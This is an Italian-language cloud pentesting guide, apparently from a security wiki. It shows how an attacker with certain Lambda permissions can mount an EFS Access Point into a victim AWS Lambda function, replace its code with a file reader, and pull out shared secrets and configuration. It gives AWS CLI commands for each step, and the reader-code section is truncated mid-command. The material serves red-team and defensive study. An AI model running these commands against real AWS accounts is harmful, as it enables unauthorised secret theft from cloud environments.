# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Furto di dati) Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione prima non poteva accedere. ## Requisiti - Permessi sull'account/principale vittima: - `lambda:GetFunctionConfiguration` - `lambda:ListFunctions` (per trovare le funzioni) - `lambda:UpdateFunctionConfiguration` - `lambda:UpdateFunctionCode` - `lambda:InvokeFunction` - `efs:DescribeMountTargets` (per confermare che esistono mount targets) - Assunzioni sull'ambiente: - La Lambda target è VPC-enabled e le sue subnet/SGs possono raggiungere il SG del mount target EFS su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo consente). - L'EFS Access Point si trova nella stessa VPC e ha mount targets nelle AZ delle subnet della Lambda. ## Attacco - Variabili ``` REGION=us-east-1 TARGET_FN= EFS_AP_ARN= ``` 1) Collega l'EFS Access Point alla Lambda ``` aws lambda update-function-configuration \ --function-name $TARGET_FN \ --file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \ --region $REGION # wait until LastUpdateStatus == Successful until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done ``` 2) Sovrascrivi il codice con un semplice reader che elenca i file e mostra i primi 200 byte di un potenziale secret/config file ``` cat > reader.py </dev/null cat /tmp/efs-out.json ``` L'output dovrebbe contenere l'elenco delle directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS. ## Impatto Un attaccante con le autorizzazioni elencate può montare arbitrari in-VPC EFS Access Points nelle funzioni Lambda vittime per leggere ed esfiltrare la configurazione condivisa e i secrets memorizzati su EFS che erano precedentemente inaccessibili a quella funzione. ## Pulizia ``` aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true ```